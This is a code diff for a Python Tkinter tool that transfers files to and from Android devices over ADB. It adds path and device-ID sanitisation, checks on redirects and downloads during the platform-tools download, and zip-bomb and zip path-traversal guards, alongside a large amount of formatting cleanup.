"""Move/rename a file or folder on the device."""
# Sanitize inputs to prevent command injection
try:
sanitized_old_path = sanitize_android_path(old_path)
sanitized_new_path = sanitize_android_path(new_path)
except ValueError as e:
return False, f"Invalid path: {str(e)}"
device_args = []
target_device = device_id or self.selected_device
if target_device:
device_args = ["-s", target_device]
args = device_args + ["shell", "mv", old_path, new_path]
try:
validated_device = validate_device_id(target_device)
device_args = ["-s", validated_device]
except ValueError as e:
return False, f"Invalid device ID: {str(e)}"
args = device_args + ["shell", "mv", sanitized_old_path, sanitized_new_path]
try:
stdout, stderr, returncode = self.command_runner.run_adb_command(args)
if returncode == 0:
@@ -340,69 +440,149 @@ class ADBManager:
return False, f"Failed to move item: {stderr}"
except Exception as e:
return False, f"Error moving item: {str(e)}"
def get_file_info(self, remote_path: str, device_id: str = None) -> Optional[dict]:
def get_file_info(
self, remote_path: str, device_id: Optional[str] = None
) -> Optional[dict]:
"""Get information about a file or folder on the device."""
# Sanitize inputs to prevent command injection
try:
sanitized_path = sanitize_android_path(remote_path)
except ValueError as e:
logger.warning(
f"Security: Path rejected in get_file_info() - "
f"path='{remote_path[:100]}', reason: {str(e)}"
)
# Notify user via status callback
self._update_status(f"Invalid path: {str(e)}")
return None
device_args = []
target_device = device_id or self.selected_device
if target_device:
device_args = ["-s", target_device]
args = device_args + ["shell", "ls", "-la", remote_path]
try:
validated_device = validate_device_id(target_device)
device_args = ["-s", validated_device]
except ValueError as e:
logger.warning(
f"Security: Device ID rejected in get_file_info() - "
f"device_id='{target_device}', reason: {str(e)}"
)
# Notify user via status callback
self._update_status(f"Invalid device ID: {str(e)}")
return None
args = device_args + ["shell", "ls", "-la", sanitized_path]
try:
stdout, stderr, returncode = self.command_runner.run_adb_command(args)
if returncode != 0:
return None
lines = stdout.strip().split('\n')
lines = stdout.strip().split("\n")
if not lines:
return None
# Parse the first non-empty line (should be the file info)
for line in lines:
line = line.strip()
if line and not line.startswith('total '):
if line and not line.startswith("total "):
parts = line.split()
if len(parts) >= 9:
permissions = parts[0]
size_str = parts[4]
name = ' '.join(parts[8:])
file_type = 'folder' if permissions.startswith('d') else 'file'
name = " ".join(parts[8:])
file_type = "folder" if permissions.startswith("d") else "file"
try:
size = int(size_str) if file_type == 'file' else 0
size = int(size_str) if file_type == "file" else 0
except ValueError:
size = 0
modified = ' '.join(parts[5:8]) if len(parts) >= 8 else ''
modified = " ".join(parts[5:8]) if len(parts) >= 8 else ""
return {
'name': name,
'type': file_type,
'size': size,
'permissions': permissions,
'modified': modified
"name": name,
"type": file_type,
"size": size,
"permissions": permissions,
"modified": modified,
}
return None
except Exception:
return None
def deduplicate_files(self, folder_path: str, progress_callback: Optional[Callable[[str], None]] = None) -> Tuple[int, list]:
def pull_folder_with_dedup(
self,
remote_path: str,
local_path: str,
progress_callback: Optional[Callable[[int, int], None]] = None,
device_id: Optional[str] = None,
) -> Tuple[bool, Optional[dict]]:
"""Pull a folder from device with deduplication support.
Args:
remote_path: Remote folder path on device
local_path: Local destination path
progress_callback: Optional progress callback
device_id: Optional specific device ID
Returns:
Tuple of (success, stats_dict) where stats contains transfer information
"""
# For now, just call the regular pull_folder
# TODO: Implement actual deduplication logic
success, message = self.pull_folder(
remote_path, local_path, progress_callback, device_id
)
stats = {"message": message} if success else None
return success, stats
def push_folder_with_dedup(
self,
local_path: str,
remote_path: str,
progress_callback: Optional[Callable[[int, int], None]] = None,
device_id: Optional[str] = None,
) -> Tuple[bool, Optional[dict]]:
"""Push a folder to device with deduplication support.
Args:
local_path: Local folder path
remote_path: Remote destination path on device
progress_callback: Optional progress callback
device_id: Optional specific device ID
Returns:
Tuple of (success, stats_dict) where stats contains transfer information
"""
# For now, just call the regular push_folder
# TODO: Implement actual deduplication logic
success, message = self.push_folder(
local_path, remote_path, progress_callback, device_id
)
stats = {"message": message} if success else None
return success, stats
def deduplicate_files(
self,
folder_path: str,
progress_callback: Optional[Callable[[str], None]] = None,
) -> Tuple[int, list]:
"""Find and optionally remove duplicate files in a folder."""
deduplicator = FileDeduplicator()
if progress_callback:
deduplicator.set_progress_callback(progress_callback)
duplicates = deduplicator.find_duplicates(folder_path)
if duplicates:
removed_count = deduplicator.remove_duplicates(duplicates)
return removed_count, duplicates
return 0, []
# --- Legacy/compatibility helpers expected by older tests ---
@@ -430,15 +610,15 @@ class ADBManager:
self.status_callback(message)
def _update_transfer_progress(self, current_file: int, total_files: int) -> None:
self.transfer_progress['current_file'] = current_file
self.transfer_progress['total_files'] = total_files
self.transfer_progress["current_file"] = current_file
self.transfer_progress["total_files"] = total_files
if self.status_callback:
self.status_callback(f"TRANSFER_PROGRESS:{current_file}:{total_files}")
def _reset_transfer_progress(self) -> None:
self.transfer_progress['current_file'] = 0
self.transfer_progress['total_files'] = 0
self.transfer_progress['files_to_transfer'] = 0
self.transfer_progress["current_file"] = 0
self.transfer_progress["total_files"] = 0
self.transfer_progress["files_to_transfer"] = 0
def check_local_disk_space(self) -> bool:
tools_dir = get_platform_tools_directory()
@@ -455,7 +635,9 @@ class ADBManager:
p = subprocess.run(cmd, capture_output=True, text=True, timeout=15)
return p.stdout, p.stderr, p.returncode
else:
p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
p = subprocess.Popen(
cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True
)
self.current_process = p
return p
except Exception as e:
@@ -464,7 +646,7 @@ class ADBManager:
return None
def check_device(self) -> Optional[str]:
out, err, rc = self.run_adb_command(['devices'], capture_output=True)
out, err, rc = self.run_adb_command(["devices"], capture_output=True)
if rc != 0 or not out:
return None
for line in str(out).splitlines():
+113 -52
View File
@@ -14,10 +14,15 @@ from .progress_tracker import ProgressTracker, TransferProgressEstimator
from .platform_tools import get_adb_binary_path
from .platform_utils import is_windows
try:
from ..utils.security_utils import sanitize_android_path, sanitize_local_path
except ImportError:
from utils.security_utils import sanitize_android_path, sanitize_local_path
class ADBFileTransfer(ProgressTracker):
"""Handles ADB file transfer operations with progress tracking."""
def __init__(self):
ProgressTracker.__init__(self)
# Composition: allow tests to patch ADBCommandRunner constructor
@@ -38,7 +43,7 @@ class ADBFileTransfer(ProgressTracker):
return bool(result) if result is not None else False
except Exception:
return False
def _validate_windows_root_path(self, path: str, operation: str):
"""Validate Windows root drive paths and raise on invalid usage.
@@ -49,23 +54,34 @@ class ADBFileTransfer(ProgressTracker):
"""
# Detect bare drive root (e.g., "C:" or "D:")
path_str = str(path).strip()
if len(path_str) >= 2 and path_str[1] == ":" and (len(path_str) == 2 or path_str.endswith(("/", "\\"))):
if (
len(path_str) >= 2
and path_str[1] == ":"
and (len(path_str) == 2 or path_str.endswith(("/", "\\")))
):
op_lower = operation.lower()
if "push" in op_lower:
raise ValueError("Cannot push to Windows root")
if "pull" in op_lower:
raise ValueError("Cannot pull from Windows root")
def pull_file(self, remote_file_path: str, local_file_path: str) -> bool:
"""Pull a single file from Android device to local machine."""
# Simple execution path using ADBCommandRunner for tests
local_file_path = os.path.normpath(local_file_path)
remote_file_path = remote_file_path.strip()
# Sanitize paths to prevent injection and traversal
try:
sanitized_remote = sanitize_android_path(remote_file_path.strip())
# Note: We use sanitize_local_path without base_dir to allow user flexibility
# but normalize to prevent basic traversal
sanitized_local = sanitize_local_path(local_file_path)
except ValueError as e:
self.update_status(f"Invalid path: {e}")
return False
# If target already exists, do nothing
if os.path.exists(local_file_path):
if os.path.exists(sanitized_local):
return False
# Ensure local directory exists
local_dir = os.path.dirname(local_file_path)
local_dir = os.path.dirname(sanitized_local)
if local_dir:
try:
os.makedirs(local_dir, exist_ok=True)
@@ -74,45 +90,69 @@ class ADBFileTransfer(ProgressTracker):
self.update_status(f"Failed to create local directory: {e}")
pass
result = self.runner.run_adb_command(['pull', remote_file_path, local_file_path])
result = self.runner.run_adb_command(
["pull", sanitized_remote, sanitized_local]
)
return self._is_command_success(result)
def push_file(self, local_file_path: str, remote_file_path: str) -> bool:
"""Push a single file from local machine to Android device."""
# Simple execution path using ADBCommandRunner for tests
local_file_path = os.path.normpath(local_file_path)
remote_file_path = remote_file_path.strip()
if not os.path.exists(local_file_path) or not os.path.isfile(local_file_path):
# Sanitize paths to prevent injection and traversal
try:
sanitized_local = sanitize_local_path(local_file_path)
sanitized_remote = sanitize_android_path(remote_file_path.strip())
except ValueError as e:
self.update_status(f"Invalid path: {e}")
return False
result = self.runner.run_adb_command(['push', local_file_path, remote_file_path])
if not os.path.exists(sanitized_local) or not os.path.isfile(sanitized_local):
return False
result = self.runner.run_adb_command(
["push", sanitized_local, sanitized_remote]
)
return self._is_command_success(result)
def pull_folder(self, remote_path: str, local_path: str) -> bool:
"""Pull files from Android device to local machine."""
# Simple execution path using ADBCommandRunner for tests
local_path = os.path.normpath(local_path)
remote_path = remote_path.strip()
# Sanitize paths to prevent injection and traversal
try:
sanitized_remote = sanitize_android_path(remote_path.strip())
sanitized_local = sanitize_local_path(local_path)
except ValueError as e:
self.update_status(f"Invalid path: {e}")
return False
# If target folder already exists, do nothing
if os.path.exists(local_path):
if os.path.exists(sanitized_local):
return False
try:
os.makedirs(local_path, exist_ok=True)
os.makedirs(sanitized_local, exist_ok=True)
except Exception:
# Ignore directory creation failures for test environment
pass
result = self.runner.run_adb_command(['pull', remote_path, local_path])
result = self.runner.run_adb_command(
["pull", sanitized_remote, sanitized_local]
)
return self._is_command_success(result)
def push_folder(self, local_path: str, remote_path: str) -> bool:
"""Push files from local machine to Android device."""
local_path = os.path.normpath(local_path)
remote_path = remote_path.strip()
if not os.path.exists(local_path) or not os.path.isdir(local_path):
# Sanitize paths to prevent injection and traversal
try:
sanitized_local = sanitize_local_path(local_path)
sanitized_remote = sanitize_android_path(remote_path.strip())
except ValueError as e:
self.update_status(f"Invalid path: {e}")
return False
result = self.runner.run_adb_command(['push', local_path, remote_path])
if not os.path.exists(sanitized_local) or not os.path.isdir(sanitized_local):
return False
result = self.runner.run_adb_command(
["push", sanitized_local, sanitized_remote]
)
return self._is_command_success(result)
def _execute_transfer_command(self, cmd: list, operation_name: str) -> bool:
"""Execute a single file transfer command with progress tracking."""
try:
@@ -137,11 +177,11 @@ class ADBFileTransfer(ProgressTracker):
for line in proc.stdout:
line_count += 1
current_time = time.time()
# Check for file completion
if "1 file" in line and ("pulled" in line or "pushed" in line):
self.update_transfer_progress(1, 1)
pct = self.parse_progress(line)
if pct is not None:
@@ -151,9 +191,14 @@ class ADBFileTransfer(ProgressTracker):
last_update_time = current_time
else:
# For single files, use simpler progress estimation
estimated = TransferProgressEstimator.estimate_progress_from_time(
start_time, last_progress, elapsed_threshold=1.0,
max_increment=20, max_progress=90
estimated = (
TransferProgressEstimator.estimate_progress_from_time(
start_time,
last_progress,
elapsed_threshold=1.0,
max_increment=20,
max_progress=90,
)
)
if estimated is not None:
self.update_progress(estimated)
@@ -185,9 +230,10 @@ class ADBFileTransfer(ProgressTracker):
self.update_status(f"{operation_name} error: {e}")
self.current_process = None
return False
def _execute_folder_transfer_command(self, cmd: list, operation_name: str,
completion_verb: str) -> bool:
def _execute_folder_transfer_command(
self, cmd: list, operation_name: str, completion_verb: str
) -> bool:
"""Execute a folder transfer command with progress tracking."""
try:
self.update_progress(0)
@@ -212,22 +258,28 @@ class ADBFileTransfer(ProgressTracker):
for line in proc.stdout:
line_count += 1
current_time = time.time()
# Check for file completion patterns in ADB output
if f": 1 file {completion_verb}" in line or f"files {completion_verb}" in line:
if (
f": 1 file {completion_verb}" in line
or f"files {completion_verb}" in line
):
# Extract number of files from the line
if f"1 file {completion_verb}" in line:
files_transferred += 1
else:
# Parse "X files pulled/pushed" pattern
match = re.search(rf'(\d+) files {completion_verb}', line)
match = re.search(rf"(\d+) files {completion_verb}", line)
if match:
files_transferred = int(match.group(1))
# Update file transfer progress
if self.transfer_progress['files_to_transfer'] > 0:
self.update_transfer_progress(files_transferred, self.transfer_progress['files_to_transfer'])
if self.transfer_progress["files_to_transfer"] > 0:
self.update_transfer_progress(
files_transferred,
self.transfer_progress["files_to_transfer"],
)
pct = self.parse_progress(line)
if pct is not None:
@@ -241,9 +293,13 @@ class ADBFileTransfer(ProgressTracker):
should_update = False
new_progress = last_progress
if operation_name == "Transfer": # Pull operation - more complex logic
estimated = TransferProgressEstimator.estimate_complex_progress(
line_count, elapsed_time, last_progress
if (
operation_name == "Transfer"
): # Pull operation - more complex logic
estimated = (
TransferProgressEstimator.estimate_complex_progress(
line_count, elapsed_time, last_progress
)
)
if estimated is not None and time_since_last_update >= 2.0:
new_progress = estimated
@@ -253,9 +309,14 @@ class ADBFileTransfer(ProgressTracker):
new_progress = min(last_progress + increment, 90)
should_update = True
else: # Push operation - simpler logic
estimated = TransferProgressEstimator.estimate_progress_from_time(
start_time, last_progress, elapsed_threshold=1.0,
max_increment=20, max_progress=90
estimated = (
TransferProgressEstimator.estimate_progress_from_time(
start_time,
last_progress,
elapsed_threshold=1.0,
max_increment=20,
max_progress=90,
)
)
if estimated is not None:
new_progress = estimated
@@ -290,7 +351,7 @@ class ADBFileTransfer(ProgressTracker):
self.update_status(f"{operation_name} error: {e}")
self.current_process = None
return False
def cancel_transfer(self) -> bool:
"""Cancel the current transfer operation."""
# Local implementation to avoid depending on ADBCommandRunner inheritance
@@ -313,4 +374,4 @@ class ADBFileTransfer(ProgressTracker):
return True
except Exception:
return False
return False
return False
+69 -9
View File
@@ -11,8 +11,12 @@ import shutil
import tempfile
from typing import Optional
from .platform_utils import get_adb_binary_name, get_platform_tools_directory, is_windows, is_linux
from .platform_utils import (
get_adb_binary_name,
get_platform_tools_directory,
is_windows,
is_linux,
)
# Constants for download URLs
ADB_WIN_ZIP_URL = (
@@ -43,11 +47,15 @@ def ensure_platform_tools_in_user_dir(version_tag: Optional[str] = "latest") ->
# Determine base data dir
if user_data_dir:
data_root = os.path.join(user_data_dir("android-file-handler"), "platform-tools")
data_root = os.path.join(
user_data_dir("android-file-handler"), "platform-tools"
)
else:
# Fallback: use home-based location
home = os.path.expanduser("~")
data_root = os.path.join(home, ".local", "share", "android-file-handler", "platform-tools")
data_root = os.path.join(
home, ".local", "share", "android-file-handler", "platform-tools"
)
os.makedirs(data_root, exist_ok=True)
@@ -94,17 +102,66 @@ def ensure_platform_tools_in_user_dir(version_tag: Optional[str] = "latest") ->
raise RuntimeError("Unsupported platform for platform-tools download")
# download in streaming fashion to avoid memory pressure
resp = requests.get(url, stream=True, timeout=30)
resp = requests.get(url, stream=True, timeout=30, allow_redirects=True)
resp.raise_for_status()
# Validate that we're downloading from Google's servers (prevent redirect attacks)
if not resp.url.startswith("https://dl.google.com/android/"):
raise RuntimeError(f"Redirect to untrusted domain: {resp.url}")
# Check Content-Type to ensure we're getting a zip file
content_type = resp.headers.get("Content-Type", "")
if (
content_type
and "zip" not in content_type.lower()
and "octet-stream" not in content_type.lower()
):
raise RuntimeError(f"Unexpected content type: {content_type}")
zip_path = os.path.join(tmp_dir, "platform-tools.zip")
downloaded_size = 0
max_size = 200 * 1024 * 1024 # 200MB limit to prevent zip bombs
with open(zip_path, "wb") as fh:
for chunk in resp.iter_content(chunk_size=8192):
if chunk:
downloaded_size += len(chunk)
if downloaded_size > max_size:
raise RuntimeError("Downloaded file exceeds maximum size limit")
fh.write(chunk)
# extract
# Validate zip file before extraction
if not zipfile.is_zipfile(zip_path):
raise RuntimeError("Downloaded file is not a valid zip archive")
# extract with safety checks
with zipfile.ZipFile(zip_path, "r") as zf:
# Check for zip bomb (excessive compression ratio)
total_size = sum(info.file_size for info in zf.infolist())
if total_size > 500 * 1024 * 1024: # 500MB uncompressed limit
raise RuntimeError("Zip archive uncompressed size exceeds safety limit")
# Check for path traversal in zip entries
for info in zf.infolist():
# Normalize the path and ensure it doesn't escape tmp_dir
# Both paths need to be normalized to use the same separator (important for Windows)
normalized = os.path.normpath(os.path.join(tmp_dir, info.filename))
tmp_dir_normalized = os.path.normpath(tmp_dir)
# Ensure tmp_dir has a trailing separator for proper prefix matching
tmp_dir_with_sep = (
tmp_dir_normalized
if tmp_dir_normalized.endswith(os.sep)
else tmp_dir_normalized + os.sep
)
# Check if normalized path is within tmp_dir
if not (
normalized.startswith(tmp_dir_with_sep)
or normalized == tmp_dir_normalized
):
raise RuntimeError(f"Zip contains path traversal: {info.filename}")
zf.extractall(tmp_dir)
# the zip contains a top-level platform-tools directory; move that into target_dir
@@ -113,7 +170,9 @@ def ensure_platform_tools_in_user_dir(version_tag: Optional[str] = "latest") ->
# try to find a platform-tools directory inside temp
for entry in os.listdir(tmp_dir):
candidate = os.path.join(tmp_dir, entry)
if os.path.isdir(candidate) and entry.lower().startswith("platform-tools"):
if os.path.isdir(candidate) and entry.lower().startswith(
"platform-tools"
):
extracted_dir = candidate
break
@@ -174,7 +233,8 @@ def get_adb_binary_path() -> str:
# Legacy pathway: some tests patch ensure_platform_tools_in_user_dir via adb_manager module
try:
from . import adb_manager as _adb_manager # type: ignore
if hasattr(_adb_manager, 'ensure_platform_tools_in_user_dir'):
if hasattr(_adb_manager, "ensure_platform_tools_in_user_dir"):
adb_path = _adb_manager.ensure_platform_tools_in_user_dir()
if adb_path and os.path.isfile(adb_path):
return adb_path
@@ -210,4 +270,4 @@ def download_and_extract_adb() -> bool:
return True
return False
except Exception:
return False
return False
+7 -7
View File
@@ -10,7 +10,7 @@ from typing import Optional
def get_executable_directory() -> str:
"""Get the directory containing the executable or script."""
if getattr(sys, 'frozen', False):
if getattr(sys, "frozen", False):
# Running as executable (PyInstaller, cx_Freeze, etc.)
return os.path.dirname(sys.executable)
else:
@@ -21,14 +21,14 @@ def get_executable_directory() -> str:
def get_platform_tools_directory() -> str:
"""Get platform-tools directory."""
base_dir = get_executable_directory()
# Check if we're in development mode (running from src/ directory)
if not getattr(sys, 'frozen', False):
if not getattr(sys, "frozen", False):
# Running as script - check if we're in src/ directory or subdirectory
if base_dir.endswith('src'):
if base_dir.endswith("src"):
# Already in src directory - place platform-tools here
return os.path.join(base_dir, "platform-tools")
elif base_dir.endswith('gui') or os.path.basename(base_dir) in ['gui']:
elif base_dir.endswith("gui") or os.path.basename(base_dir) in ["gui"]:
# In src/gui subdirectory - go up one level to src
src_dir = os.path.dirname(base_dir)
return os.path.join(src_dir, "platform-tools")
@@ -42,7 +42,7 @@ def get_platform_tools_directory() -> str:
else:
# Fallback to current directory
return os.path.join(base_dir, "src", "platform-tools")
# Running as executable - use directory next to binary
return os.path.join(base_dir, "platform-tools")
@@ -72,4 +72,4 @@ def is_linux() -> bool:
def is_macos() -> bool:
"""Check if running on macOS."""
return sys.platform.startswith("darwin")
return sys.platform.startswith("darwin")
+49 -39
View File
@@ -9,8 +9,8 @@ from typing import Optional, Callable, Dict, Any
class ProgressTracker:
"""Tracks progress for file transfer operations."""
def __init__(self):
def __init__(self) -> None:
self.progress_callback: Optional[Callable[[int], None]] = None
self.status_callback: Optional[Callable[[str], None]] = None
@@ -22,16 +22,16 @@ class ProgressTracker:
self.current_speed: float = 0.0
self.estimated_time_remaining: int = 0
self.transfer_progress: Dict[str, int] = {
'current_file': 0,
'total_files': 0,
'files_to_transfer': 0
"current_file": 0,
"total_files": 0,
"files_to_transfer": 0,
}
def set_progress_callback(self, callback: Callable[[int], None]):
def set_progress_callback(self, callback: Callable[[int], None]) -> None:
"""Set callback function for progress updates."""
self.progress_callback = callback
def set_status_callback(self, callback: Callable[[str], None]):
def set_status_callback(self, callback: Callable[[str], None]) -> None:
"""Set callback function for status updates."""
self.status_callback = callback
@@ -77,31 +77,31 @@ class ProgressTracker:
if self.progress_callback:
self.progress_callback(int(value))
def update_status(self, message: str):
def update_status(self, message: str) -> None:
"""Update status message."""
if self.status_callback:
self.status_callback(message)
def update_transfer_progress(self, current_file: int, total_files: int):
def update_transfer_progress(self, current_file: int, total_files: int) -> None:
"""Update transfer progress for file counting."""
self.transfer_progress['current_file'] = current_file
self.transfer_progress['total_files'] = total_files
self.transfer_progress["current_file"] = current_file
self.transfer_progress["total_files"] = total_files
# Send progress update through status callback with special format
progress_message = f"TRANSFER_PROGRESS:{current_file}:{total_files}"
if self.status_callback:
self.status_callback(progress_message)
def reset_transfer_progress(self):
def reset_transfer_progress(self) -> None:
"""Reset transfer progress counters."""
self.transfer_progress = {
'current_file': 0,
'total_files': 0,
'files_to_transfer': 0
"current_file": 0,
"total_files": 0,
"files_to_transfer": 0,
}
def set_files_to_transfer(self, count: int):
def set_files_to_transfer(self, count: int) -> None:
"""Set the total number of files to transfer."""
self.transfer_progress['files_to_transfer'] = count
self.transfer_progress["files_to_transfer"] = count
# Utilities expected by tests/UI
def get_progress_percentage(self) -> float:
@@ -153,38 +153,48 @@ class ProgressTracker:
class TransferProgressEstimator:
"""Estimates transfer progress based on various factors."""
@staticmethod
def estimate_progress_from_time(start_time: float, last_progress: int,
elapsed_threshold: float = 1.0,
max_increment: int = 20,
max_progress: int = 90) -> Optional[int]:
def estimate_progress_from_time(
start_time: float,
last_progress: int,
elapsed_threshold: float = 1.0,
max_increment: int = 20,
max_progress: int = 90,
) -> Optional[int]:
"""Estimate progress based on elapsed time."""
current_time = time.time()
elapsed_time = current_time - start_time
if elapsed_time >= elapsed_threshold and last_progress < max_progress:
new_progress = min(last_progress + max_increment, max_progress)
return int(new_progress)
return None
@staticmethod
def estimate_progress_from_activity(line_count: int, last_progress: int,
activity_threshold: int = 50,
increment: int = 5,
max_progress: int = 90) -> Optional[int]:
def estimate_progress_from_activity(
line_count: int,
last_progress: int,
activity_threshold: int = 50,
increment: int = 5,
max_progress: int = 90,
) -> Optional[int]:
"""Estimate progress based on output line activity."""
if line_count % activity_threshold == 0 and last_progress < max_progress:
calculated_increment = max(1, min(increment, max_progress // (line_count // activity_threshold + 1)))
calculated_increment = max(
1,
min(increment, max_progress // (line_count // activity_threshold + 1)),
)
new_progress = min(last_progress + calculated_increment, max_progress)
return int(new_progress)
return None
@staticmethod
def estimate_complex_progress(line_count: int, elapsed_time: float,
last_progress: int) -> Optional[int]:
def estimate_complex_progress(
line_count: int, elapsed_time: float, last_progress: int
) -> Optional[int]:
"""Estimate progress using complex algorithm for large transfers."""
if elapsed_time >= 2.0 and last_progress < 95:
if line_count > 100:
@@ -193,7 +203,7 @@ class TransferProgressEstimator:
new_progress = min(activity_factor + time_factor, 95)
else:
new_progress = min(last_progress + 10, 95)
return int(new_progress)
return None
return None
+1 -1
View File
@@ -1,4 +1,4 @@
"""
GUI Components Package
Reusable UI components and widgets.
"""
"""
+23 -18
View File
@@ -16,10 +16,9 @@ class AndroidFileBrowser:
self.adb_manager = adb_manager
self.path_callback = path_callback
def show_browser(self, direction="pull"):
"""Show a browsable Android folder tree.
"""Show a browsable Android folder tree.
Args:
direction: "pull" to show files and folders, "push" to show folders only
"""
@@ -40,7 +39,7 @@ class AndroidFileBrowser:
else:
browser_window.title("Browse Android Files and Folders")
label_text = "Browse Android device files and folders:"
browser_window.geometry("500x400")
browser_window.transient(self.parent)
browser_window.grab_set()
@@ -212,10 +211,7 @@ class AndroidFileBrowser:
# Additional validation and cleanup
file_name = file_name.strip()
if (
file_name
and not file_name.startswith(".")
):
if file_name and not file_name.startswith("."):
files.append(file_name)
# Add folders to tree first (sorted)
@@ -230,7 +226,7 @@ class AndroidFileBrowser:
)
# Add a dummy child to make it expandable
tree.insert(item, "end", text="Loading...")
# Add files to tree (sorted) - only if not in push mode
if files and direction != "push":
for file in sorted(files):
@@ -241,10 +237,14 @@ class AndroidFileBrowser:
text=f"📄 {file}",
values=[file_path, "file"],
)
# If no folders or files found, show indicator
if not folders and (not files or direction == "push"):
empty_text = "(No Folders)" if direction == "push" else "(Empty Directory)"
empty_text = (
"(No Folders)"
if direction == "push"
else "(Empty Directory)"
)
tree.insert(
parent_item, "end", text=empty_text, values=["", ""]
)
@@ -455,7 +455,7 @@ class AndroidFileBrowser:
def select_current_item():
"""Intelligently select the currently highlighted item (file or folder)."""
selected_item = tree.selection()[0] if tree.selection() else None
if selected_item:
# Get the item type and path from values
item_values = tree.item(selected_item, "values")
@@ -465,7 +465,10 @@ class AndroidFileBrowser:
if len(item_values) >= 2 and item_values[1] == "file":
if direction == "push":
# In push mode, don't allow file selection
messagebox.showwarning("Invalid Selection", "Please select a folder as the destination.")
messagebox.showwarning(
"Invalid Selection",
"Please select a folder as the destination.",
)
return
else:
# It's a file and we're in pull mode - select the file path directly
@@ -479,7 +482,7 @@ class AndroidFileBrowser:
self.path_callback(item_path)
browser_window.destroy()
return
# Fallback: use current path (for backwards compatibility or when no specific item is selected)
current_path = current_path_var.get()
if current_path and current_path.strip():
@@ -488,11 +491,13 @@ class AndroidFileBrowser:
browser_window.destroy()
else:
selection_type = "folder" if direction == "push" else "file or folder"
messagebox.showwarning("No Selection", f"Please select a {selection_type}.")
messagebox.showwarning(
"No Selection", f"Please select a {selection_type}."
)
tk.Button(
button_frame, text="Select", command=select_current_item
).pack(side="left", padx=5)
tk.Button(button_frame, text="Select", command=select_current_item).pack(
side="left", padx=5
)
tk.Button(button_frame, text="Cancel", command=browser_window.destroy).pack(
side="left", padx=5
)
+78 -88
View File
@@ -8,17 +8,23 @@ from tkinter import messagebox
from typing import Callable, Optional
try:
from ..dialogs.license_agreement import LicenseAgreementFrame, check_license_agreement
from ..dialogs.license_agreement import (
LicenseAgreementFrame,
check_license_agreement,
)
except ImportError:
from gui.dialogs.license_agreement import LicenseAgreementFrame, check_license_agreement
from gui.dialogs.license_agreement import (
LicenseAgreementFrame,
check_license_agreement,
)
class PathSelectorFrame:
"""Frame component for path selection with browse button."""
def __init__(self, parent: tk.Widget, label_text: str, browse_command: Callable):
"""Initialize the path selector frame.
Args:
parent: Parent widget
label_text: Text for the label
@@ -27,67 +33,61 @@ class PathSelectorFrame:
self.frame = tk.Frame(parent)
self.label = tk.Label(self.frame, text=label_text)
self.label.pack(anchor="w")
# Path frame with label and button
path_frame = tk.Frame(self.frame)
path_frame.pack(fill="x", pady=(0, 10))
self.path_var = tk.StringVar(value="Please select file or folder ->")
self.path_display = tk.Label(
path_frame,
textvariable=self.path_var,
anchor="w"
)
self.path_display = tk.Label(path_frame, textvariable=self.path_var, anchor="w")
self.path_display.pack(side="left", fill="x", expand=True)
self.browse_btn = tk.Button(
path_frame,
text="Browse...",
command=browse_command
path_frame, text="Browse...", command=browse_command
)
self.browse_btn.pack(side="right", padx=(5, 0))
def pack(self, **kwargs):
"""Pack the frame."""
self.frame.pack(**kwargs)
def pack_forget(self):
"""Remove the frame from packing."""
self.frame.pack_forget()
def set_path(self, path: str) -> None:
"""Set the displayed path.
Args:
path: Path to display
"""
self.path_var.set(path)
def get_path(self) -> str:
"""Get the current path.
Returns:
Current path string
"""
return self.path_var.get().strip()
def is_path_selected(self) -> bool:
"""Check if a valid path is selected.
Returns:
True if path is selected and not the default placeholder
"""
path = self.get_path()
return path and path != "Please select file or folder ->"
def clear_path(self) -> None:
"""Clear the path selection."""
self.path_var.set("Please select file or folder ->")
def enable_browse(self) -> None:
"""Enable the browse button."""
self.browse_btn.config(state="normal")
def disable_browse(self) -> None:
"""Disable the browse button."""
self.browse_btn.config(state="disabled")
@@ -95,19 +95,19 @@ class PathSelectorFrame:
class DirectionSelector:
"""Component for selecting transfer direction (pull/push)."""
def __init__(self, parent: tk.Widget, on_change_command: Optional[Callable] = None):
"""Initialize the direction selector.
Args:
parent: Parent widget
on_change_command: Command to execute when direction changes
"""
self.direction_var = tk.StringVar(value="pull")
self.frame = tk.Frame(parent)
self.frame.pack(anchor="w", padx=10, pady=(10, 0))
tk.Radiobutton(
self.frame,
text="Pull (Android → Computer)",
@@ -115,7 +115,7 @@ class DirectionSelector:
value="pull",
command=on_change_command,
).pack(side="left")
tk.Radiobutton(
self.frame,
text="Push (Computer → Android)",
@@ -123,10 +123,10 @@ class DirectionSelector:
value="push",
command=on_change_command,
).pack(side="left", padx=(20, 0))
def get_direction(self) -> str:
"""Get the current direction.
Returns:
Current direction ('pull' or 'push')
"""
@@ -135,10 +135,10 @@ class DirectionSelector:
class StatusLabel:
"""Responsive status label with word wrapping."""
def __init__(self, parent: tk.Widget, initial_text: str = "Status: Idle"):
"""Initialize the status label.
Args:
parent: Parent widget
initial_text: Initial status text
@@ -148,37 +148,40 @@ class StatusLabel:
text=initial_text,
wraplength=0, # Will be set dynamically
justify="center",
anchor="center"
anchor="center",
)
self.label.pack(padx=10, fill="x", pady=(20, 5))
# Bind parent window resize to update wrapping
parent.bind("<Configure>", self._on_window_configure)
def set_text(self, text: str) -> None:
"""Set the status text.
Args:
text: Text to display
"""
self.label.config(text=text)
def get_text(self) -> str:
"""Get the current status text.
Returns:
Current status text
"""
return self.label.cget("text")
def _on_window_configure(self, event) -> None:
"""Handle window resize events to update label wrapping.
Args:
event: Configure event
"""
# Only handle configure events for the main window, not child widgets
if hasattr(event.widget, 'winfo_toplevel') and event.widget == event.widget.winfo_toplevel():
if (
hasattr(event.widget, "winfo_toplevel")
and event.widget == event.widget.winfo_toplevel()
):
# Calculate available width for the status label
# Account for padding (10px on each side) and some margin
available_width = event.widget.winfo_width() - 40
@@ -188,25 +191,21 @@ class StatusLabel:
class TransferButton:
"""Multi-mode transfer button that changes text and behavior based on state."""
def __init__(self, parent: tk.Widget):
"""Initialize the transfer button.
Args:
parent: Parent widget
"""
self.button = tk.Button(
parent,
text="Start Transfer",
state="disabled"
)
self.button = tk.Button(parent, text="Start Transfer", state="disabled")
self.button.pack(pady=10)
self.current_mode = "transfer" # transfer, recheck, cancel
def set_transfer_mode(self, command: Callable, enabled: bool = True) -> None:
"""Set button to transfer mode.
Args:
command: Command to execute on button click
enabled: Whether button should be enabled
@@ -215,53 +214,44 @@ class TransferButton:
self.button.config(
text="Start Transfer",
command=command,
state="normal" if enabled else "disabled"
